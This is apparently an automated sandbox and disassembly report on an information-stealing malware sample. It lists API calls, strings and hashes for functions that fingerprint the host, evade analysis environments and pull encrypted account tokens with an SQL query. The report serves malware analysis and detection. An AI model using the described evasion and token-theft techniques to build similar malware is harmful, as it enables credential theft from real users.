Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction ID: 975b1f2fff90f96d03099a1470760af69fc6b50b1064dc5ad3510b71ddc5061f
Opcode Fuzzy Hash: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction Fuzzy Hash: 52613DB5D041689BDB24DF50CC41BDAB7B8BF48304F0081EAE689A6181DFB46BC9CF95

Function 00416FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
HeapAlloc.KERNEL32(00000000), ref: 004170AA
wsprintfA.USER32 ref: 004170E0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

:, xrefs: 00416FFC
C, xrefs: 00416FEC
\, xrefs: 00417000

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: b8d4498c9ef52ac0e7ff8a74a815c8f3508d9b1454889a6f46a668afd64d8a13
Instruction ID: 54c0e4e4c236f1d7f0585d8ba6b1fa909b8b3bfc40374ef6a46e6daa0de72561
Opcode Fuzzy Hash: b8d4498c9ef52ac0e7ff8a74a815c8f3508d9b1454889a6f46a668afd64d8a13
Instruction Fuzzy Hash: 1341B1B1D04248EBDB20DFA4CC45BEEBBB8AF08714F14009DF50967281D7786A84CBA9

Function 00417BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00F825B8,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00F825B8,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
__aulldiv.LIBCMT ref: 00417C12
__aulldiv.LIBCMT ref: 00417C20
wsprintfA.USER32 ref: 00417C4C

Strings

%d MB, xrefs: 00417C43
@, xrefs: 00417BED

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction ID: f6ead53c39b4582a22ff827f4f83d0c2aee1884270de42e44796eba59a74ffdb
Opcode Fuzzy Hash: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction Fuzzy Hash: AD218CF1E44218ABDB10DFD8CC49FAEB7B9FB08B14F104509F605BB280D77869018BA9

Function 00416B70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00416B7E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

OpenProcess.KERNEL32(001FFFFF,00000000,00416DAD,004205AD), ref: 00416BBC
memset.MSVCRT ref: 00416C0A
??_V@YAXPAX@Z.MSVCRT ref: 00416D5E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00416C2C

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 985516fdb4aba9a37da67002539eb8a614f9f3b36bd237ff0cc46e5de52e8429
Instruction ID: 7f38ab3eb3b1a919a3e5ec0c0fab515e305e32cb9f2de8b47bf31e49bfe0b2e9
Opcode Fuzzy Hash: 985516fdb4aba9a37da67002539eb8a614f9f3b36bd237ff0cc46e5de52e8429
Instruction Fuzzy Hash: 285162B0D002189BDB24EB95DC45BEEB774AF44318F5041AEE50566281EB78AEC8CF5D

Function 0040B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040BADD

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BB0B
lstrlenA.KERNEL32(00000000), ref: 0040BBE3
lstrlenA.KERNEL32(00000000), ref: 0040BBF7

Strings

AccountId, xrefs: 0040BB02
AccountTokens, xrefs: 0040B9A9
SELECT service, encrypted_token FROM token_service, xrefs: 0040BA4B
AccountTokens, xrefs: 0040B91A

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: 7e8853a93b14599ac83e542f5224995fc26312752b0488732bf05ef3e13e3aee
Instruction ID: 210edd3ff24f1e31e7376af0b8f6dc5aafa9379f597eea4b8f30950ff7929db6
Opcode Fuzzy Hash: 7e8853a93b14599ac83e542f5224995fc26312752b0488732bf05ef3e13e3aee
Instruction Fuzzy Hash: 32A16271911108ABCF14FBA1DC56EEE7339AF54318F40416EF40772191EF786A98CBAA

Function 00416490 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,00F6F4E0), ref: 004192B1
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,00F6F4F8), ref: 004192CA
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,00F6F210), ref: 004192E2
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,00F6F468), ref: 004192FA
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,00F6F480), ref: 00419313
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,00F74CF8), ref: 0041932B
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,00F73D38), ref: 00419343
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,00F73D58), ref: 0041935C
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,00F6F228), ref: 00419374
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,00F6F270), ref: 0041938C
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,00F6F258), ref: 004193A5
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,00F6F498), ref: 004193BD
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,00F73D18), ref: 004193D5
Part of subcall function 00419270: GetProcAddress.KERNEL32(76210000,00F6F4B0), ref: 004193EE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 004011D0: CreateDCA.GDI32(00F7AA80,00000000,00000000,00000000), ref: 004011E2
Part of subcall function 004011D0: GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
Part of subcall function 004011D0: ReleaseDC.USER32(00000000,?), ref: 00401200
Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416210: GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214

GetUserDefaultLangID.KERNEL32 ref: 004164C6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00F7AA50,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,00F7AA50,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseCreateDefaultEventHandleLangName__aulldiv$CapsComputerCurrentDeviceGlobalInfoMemoryNumaOpenReleaseSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 4014759737-0
Opcode ID: 1080716b928fd667bb929954f4c75fcb8ab473ed041492adf7da214918ab9902
Instruction ID: 0c3fac6cf7b50bea5c1f94bc3db5f65e3227356296d56eb517008ea5f4118e6e
Opcode Fuzzy Hash: 1080716b928fd667bb929954f4c75fcb8ab473ed041492adf7da214918ab9902
Instruction Fuzzy Hash: 03317130941108BACB14FBF2DC56BEE7739AF18318F50452EF513A6092DFBC6985C66A

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0040483A
??_U@YAPAXI@Z.MSVCRT ref: 00404851
??2@YAPAXI@Z.MSVCRT ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ??2@CrackInternetlstrlen
String ID: <
API String ID: 184842949-4251816714
Opcode ID: 2f4ab3673443420506f52f30828b11760ea29e85b2ca068c11f228e25f55c4dd
Instruction ID: 93cf72731df314aae8b190796811ac6c8ed605cccc68025416595ba5c6ffb16c
Opcode Fuzzy Hash: 2f4ab3673443420506f52f30828b11760ea29e85b2ca068c11f228e25f55c4dd
Instruction Fuzzy Hash: 0A2129B1D00208ABDF14DFA5E849ADD7B75FF44364F108229F926A72D0DB706A05CF95

Function 00409A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
LocalFree.KERNEL32(00410127), ref: 00409AE0
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: 59f5148e752a95e5896d84c0f9ad23db6c307183919c12064814075ca15ef814
Instruction ID: 9a616c59c25f48dda5b41b64f2eda75996ce8e2783f016847e561ac14b63f668
Opcode Fuzzy Hash: 59f5148e752a95e5896d84c0f9ad23db6c307183919c12064814075ca15ef814
Instruction Fuzzy Hash: 5D310AB4A00209EFDB24CF95C895BAE7BB5BF48314F108169E911A73D0D778AD41CFA5

Function 00417130 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
HeapAlloc.KERNEL32(00000000), ref: 0041714B
RegOpenKeyExA.KERNEL32(80000002,00F7B268,00000000,00020119,00000000), ref: 0041717D
RegQueryValueExA.KERNEL32(00000000,00F822D0,00000000,00000000,?,000000FF), ref: 0041719E

Strings

Windows 11, xrefs: 0041715D

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction ID: 198b37f2a351322ee600fb862932720b373255b2f394089b4190a5419862cb8c
Opcode Fuzzy Hash: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction Fuzzy Hash: 4C018F74A40208BFEB10DFE4DD49FAE7779EB08710F104098FA0997290D6749A428B64

Function 004171C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004171D4
HeapAlloc.KERNEL32(00000000), ref: 004171DB
RegOpenKeyExA.KERNEL32(80000002,00F7B268,00000000,00020119,00417159), ref: 004171FB
RegQueryValueExA.KERNEL32(00417159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041721A

Strings

CurrentBuildNumber, xrefs: 00417211

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

